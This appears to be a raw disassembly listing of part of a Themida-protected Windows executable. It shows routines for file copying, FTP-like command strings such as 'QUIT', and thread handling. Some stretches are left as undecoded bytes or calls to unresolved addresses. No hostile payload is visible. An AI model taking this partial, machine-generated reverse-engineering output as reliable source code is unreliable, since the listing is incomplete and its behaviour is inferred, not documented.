		push	2000h
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		cmp	esi, 4
		mov	edi, eax
		jnz	short loc_42F82D
		mov	ebp, dword_511AB0
		push	ebx
		push	2000h
		push	1
		push	edi
		call	ebp	; fread
		mov	esi, eax
		add	esp, 10h
		test	esi, esi
		jle	loc_42F883


loc_42F7EA:				; CODE XREF: sub_42F6F0+11Fj
		mov	eax, [esp+14h+arg_C]
		push	eax
		push	esi
		push	edi
		call	sub_402216
		add	esp, 0Ch
		cmp	eax, esi
		jl	short loc_42F813
		push	ebx
		push	2000h
		push	1
		push	edi
		call	ebp	; fread
		mov	esi, eax
		add	esp, 10h
		test	esi, esi
		jg	short loc_42F7EA
		jmp	short loc_42F883
; ---------------------------------------------------------------------------


loc_42F813:				; CODE XREF: sub_42F6F0+10Bj
		push	eax
		push	esi
		push	offset aShortWritePass ; "short	write: passed %d, wrote	%d\n"
		nop
		call	near ptr 77C4186Ah
		add	esp, 0Ch
		mov	[esp+14h+var_4], 0
		jmp	short loc_42F883
; ---------------------------------------------------------------------------


loc_42F82D:				; CODE XREF: sub_42F6F0+DAj
		mov	ecx, [esp+14h+arg_C]
		push	ecx
		push	2000h
		push	edi
		call	sub_40226B
		add	esp, 0Ch
		cmp	eax, ebp
		jle	short loc_42F883
		mov	esi, dword_511AA0


loc_42F84A:				; CODE XREF: sub_42F6F0+17Dj
		push	ebx
		push	eax
		push	1
		push	edi
		call	esi	; fwrite
		add	esp, 10h
		test	eax, eax
		jbe	short loc_42F871
		mov	edx, [esp+14h+arg_C]
		push	edx
		push	2000h
		push	edi
		call	sub_40226B
		add	esp, 0Ch
		cmp	eax, ebp
		jg	short loc_42F84A
		jmp	short loc_42F883
; ---------------------------------------------------------------------------


loc_42F871:				; CODE XREF: sub_42F6F0+166j
		push	offset aLocalfileWrite ; "localfile write"
		nop
		call	near ptr 77C36DF2h
		add	esp, 4
		mov	[esp+14h+var_4], ebp


loc_42F883:				; CODE XREF: sub_42F6F0+F4j
					; sub_42F6F0+121j ...
		push	edi
		nop
		call	near ptr 77C2C21Bh
		push	ebx
		nop
		call	near ptr 77C3EEF6h
		mov	eax, [esp+1Ch+arg_0]
		add	esp, 8
		test	eax, eax
		jz	short loc_42F8A6
		push	ebx
		nop
		call	near ptr 77C40AB1h
		add	esp, 4


loc_42F8A6:				; CODE XREF: sub_42F6F0+1AAj
		mov	eax, [esp+14h+arg_C]
		push	eax
		call	sub_401BEF
		mov	eax, [esp+18h+var_4]
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_42F6F0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F940:				; CODE XREF: ___:004016A9j
		mov	eax, [esp+0Ch]
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	41h
		push	2
		push	eax
		push	ecx
		push	edx
		call	sub_42F6F0
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F970:				; CODE XREF: ___:00401D43j
		sub	esp, 108h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		mov	ebx, [esp+110h]
		push	ebp
		push	esi
		push	edi
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		mov	ebp, 1
		cmp	ecx, 100h
		jbe	short loc_42F9A7
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42F9A7:				; CODE XREF: ___:0042F99Aj
		movsx	eax, byte ptr [esp+124h]
		mov	edi, dword_511A6C
		push	eax
		lea	ecx, [esp+1Ch]
		push	offset dword_4474B8
		push	ecx
		call	edi	; sprintf
		mov	esi, [esp+134h]
		lea	edx, [esp+24h]
		push	esi
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42F9E8
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42F9E8:				; CODE XREF: ___:0042F9DBj
		push	ebx
		lea	eax, [esp+1Ch]
		push	offset dword_4476BC
		push	eax
		call	edi	; sprintf
		push	esi
		lea	ecx, [esp+28h]
		push	32h
		push	ecx
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jz	short loc_42FA44
		lea	edx, [esp+10h]
		lea	eax, [esp+14h]
		push	edx
		push	eax
		add	esi, 44h
		push	offset dword_4476B4
		push	esi
		call	near ptr 77C41B72h
		nop
		add	esp, 10h
		cmp	eax, 2
		jnz	short loc_42FA44
		mov	ecx, [esp+120h]
		mov	edx, [esp+10h]
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		mov	[ecx], edx
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42FA44:				; CODE XREF: ___:0042FA07j
					; ___:0042FA28j
		xor	ebp, ebp
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FAA0:				; CODE XREF: ___:004013C0j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	edi
		mov	edi, edx
		mov	ebx, 1
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		jbe	short loc_42FAD0
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42FAD0:				; CODE XREF: ___:0042FAC5j
		push	esi
		push	edx
		lea	eax, [esp+10h]
		push	offset dword_4476C8
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	esi, [esp+128h]
		lea	ecx, [esp+18h]
		push	esi
		push	32h
		push	ecx
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42FB0B
		xor	ebx, ebx
		pop	esi
		mov	eax, ebx
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42FB0B:				; CODE XREF: ___:0042FAFBj
		mov	edx, [esp+118h]
		mov	eax, [esp+114h]
		add	esi, 48h
		push	edx
		push	esi
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		mov	eax, ebx
		pop	esi
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FB70	proc near		; CODE XREF: sub_4016B3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch
arg_C		= dword	ptr  10h

		movsx	eax, [esp+arg_8]
		mov	ecx, [esp+arg_C]
		mov	edx, [esp+arg_4]
		push	eax
		mov	eax, [esp+4+arg_0]
		push	3
		push	ecx
		push	edx
		push	eax
		call	sub_42F6F0
		add	esp, 14h
		retn
sub_42FB70	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FBA0:				; CODE XREF: ___:004016D1j
		movsx	eax, byte ptr [esp+0Ch]
		mov	ecx, [esp+10h]
		mov	edx, [esp+8]
		push	eax
		mov	eax, [esp+8]
		push	4
		push	ecx
		push	edx
		push	eax
		call	sub_42F6F0
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FBD0:				; CODE XREF: ___:0040149Cj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		ja	short loc_42FC69
		mov	ebx, [esp+114h]
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		ja	short loc_42FC69
		mov	esi, dword_511A6C
		push	edx
		lea	eax, [esp+10h]
		push	offset dword_4476E0
		push	eax
		call	esi	; sprintf
		mov	edi, [esp+124h]
		lea	ecx, [esp+18h]
		push	edi
		push	33h
		push	ecx
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jz	short loc_42FC69
		push	ebx
		lea	edx, [esp+10h]
		push	offset dword_4476D4
		push	edx
		call	esi	; sprintf
		push	edi
		lea	eax, [esp+1Ch]
		push	32h
		push	eax
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42FC69:				; CODE XREF: ___:0042FBF1j
					; ___:0042FC0Cj ...
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FCB0:				; CODE XREF: ___:00401C7Bj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42FCD9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42FCD9:				; CODE XREF: ___:0042FCD0j
		push	edx
		lea	eax, [esp+4]
		push	offset dword_4476EC
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FD30	proc near		; CODE XREF: sub_401D66j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+18h]
		test	eax, eax
		jnz	short loc_42FD69
		push	edi
		push	esi
		push	32h
		push	offset aQuit	; "QUIT"
		call	sub_42E490
		mov	eax, [esi+8]
		add	esp, 0Ch
		push	eax
		call	sub_4381FC
; ---------------------------------------------------------------------------
		mov	ecx, [esi+14h]
		mov	edi, dword_511AD0
		push	ecx
		call	edi	; free
		push	esi
		call	edi	; free
		add	esp, 8
		pop	edi


loc_42FD69:				; CODE XREF: sub_42FD30+Aj
		pop	esi
		retn
sub_42FD30	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FD80:				; CODE XREF: ___:004021C1j
		push	edi
		mov	edi, [esp+8]
		test	edi, edi
		jnz	short loc_42FD90
		mov	eax, 16h
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42FD90:				; CODE XREF: ___:0042FD87j
		push	1Ch
		call	near ptr 77C2C407h
		nop
		add	esp, 4
		test	eax, eax
		jnz	short loc_42FDA6
		mov	eax, 0Ch
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42FDA6:				; CODE XREF: ___:0042FD9Dj
		mov	ecx, 1
		mov	dword ptr [eax+8], 0
		mov	dword ptr [eax+0Ch], 0
		mov	dword ptr [eax+10h], 0
		mov	[eax+14h], ecx
		mov	[eax+18h], ecx
		mov	dword ptr [eax], 0C4C0FFEEh
		mov	[edi], eax
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FE00:				; CODE XREF: ___:0040151Ej
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42FE19
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42FE19:				; CODE XREF: ___:0042FE10j
		mov	eax, [esi]
		mov	dword ptr [eax], 0
		mov	ecx, [esi]
		push	ecx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FE50:				; CODE XREF: ___:004012D5j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		mov	eax, [esp+0Ch]
		jnz	short loc_42FE75
		test	eax, eax
		jz	short loc_42FE75
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+0Ch]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42FE75:				; CODE XREF: ___:0042FE64j
					; ___:0042FE68j
		mov	dword ptr [eax], 1
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FEA0:				; CODE XREF: ___:004013ACj
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42FEB9
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42FEB9:				; CODE XREF: ___:0042FEB0j
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_42FECD
		cmp	eax, 1
		jz	short loc_42FECD
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42FECD:				; CODE XREF: ___:0042FEBFj
					; ___:0042FEC4j
		mov	ecx, [esi]
		pop	esi
		mov	[ecx+0Ch], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FEF0:				; CODE XREF: ___:00401519j
		mov	eax, 28h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FF10:				; CODE XREF: ___:00401834j
		mov	eax, 28h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FF30:				; CODE XREF: ___:00401348j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42FF49
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42FF49:				; CODE XREF: ___:0042FF40j
		mov	eax, [esi]
		mov	edx, [esp+0Ch]
		pop	esi
		mov	ecx, [eax+8]
		xor	eax, eax
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FF70:				; CODE XREF: ___:00402207j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42FF89
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42FF89:				; CODE XREF: ___:0042FF80j
		mov	eax, [esi]
		mov	ecx, [esp+0Ch]
		pop	esi
		mov	[eax+8], ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FFB0:				; CODE XREF: ___:004019B0j
		mov	eax, [esp+4]
		mov	ecx, [eax]
		mov	eax, [esp+8]
		mov	edx, [ecx+18h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FFE0:				; CODE XREF: ___:004019ABj
		mov	eax, [esp+8]
		sub	eax, 0
		jz	short loc_430002
		dec	eax
		jz	short loc_42FFF2
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_42FFF2:				; CODE XREF: ___:0042FFEAj
		mov	eax, [esp+4]
		mov	ecx, [eax]
		xor	eax, eax


loc_42FFFA:				; DATA XREF: Themida_:00583DB0o
		mov	dword ptr [ecx+18h], 1
		retn
; ---------------------------------------------------------------------------


loc_430002:				; CODE XREF: ___:0042FFE7j
		mov	eax, 30h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430020:				; CODE XREF: ___:00401C1Cj
		push	ebx
		mov	ebx, [esp+8]
		push	esi
		push	edi
		test	ebx, ebx
		jz	loc_4300BB
		mov	edi, [esp+18h]
		test	edi, edi
		jz	loc_4300BB
		push	18h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jz	short loc_4300B2
		mov	eax, [esp+14h]	; DATA XREF: ___:off_444E88o
		test	eax, eax
		jz	short loc_430060
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_430060
		mov	eax, [eax]
		jmp	short loc_430062
; ---------------------------------------------------------------------------


loc_430060:				; CODE XREF: ___:00430054j
					; ___:0043005Aj
		xor	eax, eax


loc_430062:				; CODE XREF: ___:0043005Ej
		mov	[esi+4], edi
		mov	[esi], edi
		lea	edi, [esi+10h]
		push	0
		push	eax
		push	edi
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+8], 0
		call	sub_401C8A
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4300A8
		push	eax
		mov	eax, [esi+0Ch]
		lea	ecx, [esi+14h]
		push	eax
		push	ecx
		call	sub_401C8A
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_43009F
		mov	[ebx], esi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43009F:				; CODE XREF: ___:00430097j
		push	edi
		call	sub_401690
		add	esp, 4


loc_4300A8:				; CODE XREF: ___:00430082j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_4300B2:				; CODE XREF: ___:0043004Cj
		pop	edi
		pop	esi
		mov	eax, 0Ch
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4300BB:				; CODE XREF: ___:00430029j
					; ___:00430035j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430100:				; CODE XREF: ___:0040220Cj
		push	ebx
		push	ebp
		mov	ebp, [esp+0Ch]
		push	esi
		test	ebp, ebp
		push	edi
		jz	short loc_430168
		mov	esi, [ebp+0]
		test	esi, esi
		jz	short loc_430168
		lea	ebx, [esi+10h]
		mov	dword ptr [ebp+0], 0
		push	ebx
		call	sub_401690
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_43015E
		lea	eax, [esi+14h]
		push	eax
		call	sub_401690
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_43014F
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43014F:				; CODE XREF: ___:0043013Cj
		mov	ecx, [esi+0Ch]
		push	0
		push	ecx
		push	ebx
		call	sub_401C8A
		add	esp, 0Ch


loc_43015E:				; CODE XREF: ___:0043012Aj
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_430168:				; CODE XREF: ___:0043010Aj
					; ___:00430111j
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4301A0:				; CODE XREF: ___:004017A3j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		jz	loc_430254
		mov	esi, [eax]
		test	esi, esi
		jz	loc_430254
		push	ebp
		lea	ebp, [esi+8]
		push	edi
		push	esi
		mov	edi, [ebp+0]
		call	near ptr 2760788h
		nop
		test	eax, eax
		jnz	short loc_4301E7
		mov	eax, [esi+4]
		cmp	eax, 1
		mov	[esi], eax
		jbe	short loc_430234
		dec	eax
		push	eax
		lea	eax, [esi+edi*4+10h]
		push	eax
		call	sub_402068
		add	esp, 8
		mov	esi, eax
		jmp	short loc_430230
; ---------------------------------------------------------------------------


loc_4301E7:				; CODE XREF: ___:004301C8j
		push	ebx
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	ecx, [eax+34h]
		mov	ebx, 1
		cmp	ecx, ebx
		jnz	short loc_43020B
		lea	ecx, [esp+14h]
		push	ecx
		push	ebx
		call	sub_401415
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jz	short loc_43020D


loc_43020B:				; CODE XREF: ___:004301F7j
		xor	ebx, ebx


loc_43020D:				; CODE XREF: ___:00430209j
		lea	edx, [esi+edi*4+10h]
		push	edx
		call	sub_401041
		add	esp, 4
		mov	esi, eax
		test	ebx, ebx
		pop	ebx
		jz	short loc_430230
		mov	eax, [esp+10h]
		push	0
		push	eax
		call	sub_401415
; ---------------------------------------------------------------------------
		add	esp, 8


loc_430230:				; CODE XREF: ___:004301E5j
					; ___:0043021Fj
		test	esi, esi
		jnz	short loc_43024E


loc_430234:				; CODE XREF: ___:004301D2j
		mov	ecx, 1
		push	edi
		sub	ecx, edi
		push	ecx
		push	ebp
		call	dword_5103C8	; InterlockedCompareExchange
		xor	edx, edx
		cmp	edi, eax
		setnz	dl
		dec	edx
		mov	esi, edx


loc_43024E:				; CODE XREF: ___:00430232j
		pop	edi
		mov	eax, esi
		pop	ebp
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430254:				; CODE XREF: ___:004301A7j
					; ___:004301B1j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430290:				; CODE XREF: ___:00401F6Ej
		push	esi
		push	4
		push	1
		xor	esi, esi
		call	near ptr 77C2C0C3h
		nop
		add	esp, 8
		test	eax, eax
		jnz	short loc_4302B3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_4302B3:				; CODE XREF: ___:004302A2j
		mov	ecx, [esp+8]
		mov	dword ptr [eax], 0
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4302E0:				; CODE XREF: ___:00401A87j
		mov	ecx, [esp+4]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_430301
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_430301
		push	eax
		mov	[ecx], esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430301:				; CODE XREF: ___:004302E9j
					; ___:004302EFj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430320:				; CODE XREF: ___:0040127Bj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43033D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_43033D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_43033D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_43033D:				; CODE XREF: ___:00430326j
					; ___:0043032Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430360:				; CODE XREF: ___:00401636j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43038A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_43038A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_43037E
		test	eax, eax
		jnz	short loc_43038A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_43037E:				; CODE XREF: ___:00430375j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_43038A:				; CODE XREF: ___:00430366j
					; ___:0043036Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4303A0	proc near		; CODE XREF: sub_401415j
		push	esi
		push	edi
		call	sub_4012E4
sub_4303A0	endp

; ---------------------------------------------------------------------------
		db 8Bh
		dd 74F685F0h, 247C8B7Bh, 74FF850Ch, 1FF8305h, 8D536E75h
		dd 0E8532C5Eh, 0FFFD1E84h, 1824448Bh, 8504C483h, 8B0574C0h
		dd 889304Eh, 7E89FF85h,	8B3E7530h, 0C0853446h, 568B3775h
		dd 90525738h, 330029E8h, 75C08502h, 38468B28h, 30C46C7h
		dd 50000000h, 13046C7h,	90000000h, 3301B3E8h, 0B4E85302h
		dd 6AFFFD0Ch, 19D7E802h, 0C483FFFDh, 0A4E85308h, 83FFFD0Ch
		dd 0C03304C4h, 0C35E5F5Bh, 16B85Fh, 0C35E0000h,	0Ch dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_430460:				; CODE XREF: ___:00402261j
		push	ebx
		push	esi
		call	sub_4012E4
; ---------------------------------------------------------------------------
		db 8Bh
		dd 74F685F0h, 245C8B7Bh, 1FB830Ch, 0DB850474h, 8D576E75h
		dd 0E8572C7Eh, 0FFFD1DC4h, 1824448Bh, 8504C483h, 8B0574C0h
		dd 889344Eh, 8930468Bh,	0C085345Eh, 0DB853B75h,	568B3775h
		dd 90525338h, 32FF69E8h, 75C08502h, 38468B28h, 30C46C7h
		dd 50000000h, 13046C7h,	90000000h, 3300F3E8h, 0F4E85702h
		dd 6AFFFD0Bh, 1917E802h, 0C483FFFDh, 0E4E85708h, 83FFFD0Bh
		dd 0C03304C4h, 0C35B5E5Fh, 16B85Eh, 0C35B0000h,	0Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430520	proc near		; CODE XREF: sub_401D02j
		push	esi
		push	edi
		call	sub_4012E4
sub_430520	endp

; ---------------------------------------------------------------------------
		db 8Bh
		dd 2C7E8DF0h, 1D16E857h, 0C483FFFDh, 74F68504h,	307E8334h
		dd 8B2E7401h, 6A3846h, 0CBE89050h, 850232FEh, 571E75C0h
		dd 30C46C7h, 0C7000000h, 13046h, 60E80000h, 6AFFFD0Bh
		dd 1883E802h, 0C483FFFDh, 50E85708h, 83FFFD0Bh,	5E5F04C4h
		dd 909090C3h, 90909090h, 8 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_4305A0:				; CODE XREF: ___:00401D39j
		sub	esp, 2D0h
		push	esi
		mov	esi, [esp+2D8h]
		push	0
		push	esi
		call	sub_401762
		add	esp, 8
		mov	[esp+4], eax
		test	eax, eax
		jnz	loc_4306D9
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_4305DB
		mov	eax, 0Ch
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_4305DB:				; CODE XREF: ___:004305CCj
		push	ebx
		push	ebp
		push	edi
		push	eax
		push	esi
		call	sub_401A64
		lea	ebx, [esi+2Ch]
		mov	edi, eax
		push	ebx
		call	sub_402248
		mov	eax, [esi+34h]
		add	esp, 0Ch
		test	eax, eax
		mov	ebp, 3
		jnz	loc_4306B2
		mov	eax, [esi+30h]
		test	eax, eax
		jnz	loc_4306B2
		cmp	[esi+0Ch], ebp
		jge	loc_4306C5
		test	edi, edi
		jz	short loc_430644
		push	ebx
		mov	[esi+0Ch], ebp
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DED
; ---------------------------------------------------------------------------
		mov	eax, [esp+18h]
		add	esp, 8
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_430644:				; CODE XREF: ___:00430619j
		mov	edi, [esi+4]
		push	edi
		nop
		call	near ptr 275090Ch
		push	0
		push	edi
		nop
		call	near ptr 2760416h
		cmp	eax, 102h
		jnz	short loc_4306D2
		lea	eax, [esp+14h]
		mov	[esi+0Ch], ebp
		push	eax
		push	edi
		mov	dword ptr [esi+30h], 1
		mov	dword ptr [esp+1Ch], 10001h
		nop
		call	near ptr 2750B2Fh
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+0CCh], offset loc_430750
		push	ecx
		push	edi
		call	near ptr 2750D11h
		nop
		push	ebx
		call	sub_4010C3
		add	esp, 4
		push	edi
		call	near ptr 2760000h
		nop
		mov	eax, [esp+10h]
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_4306B2:				; CODE XREF: ___:004305FDj
					; ___:00430608j
		cmp	[esi+0Ch], ebp
		jge	short loc_4306C5
		mov	edx, [esi+38h]
		push	edx
		nop
		call	near ptr 2760281h
		test	eax, eax
		jnz	short loc_4306C9


loc_4306C5:				; CODE XREF: ___:00430611j
					; ___:004306B5j
		mov	[esp+10h], ebp


loc_4306C9:				; CODE XREF: ___:004306C3j
		push	ebx
		call	sub_4010C3
		add	esp, 4


loc_4306D2:				; CODE XREF: ___:0043065Cj
		mov	eax, [esp+10h]
		pop	edi
		pop	ebp
		pop	ebx


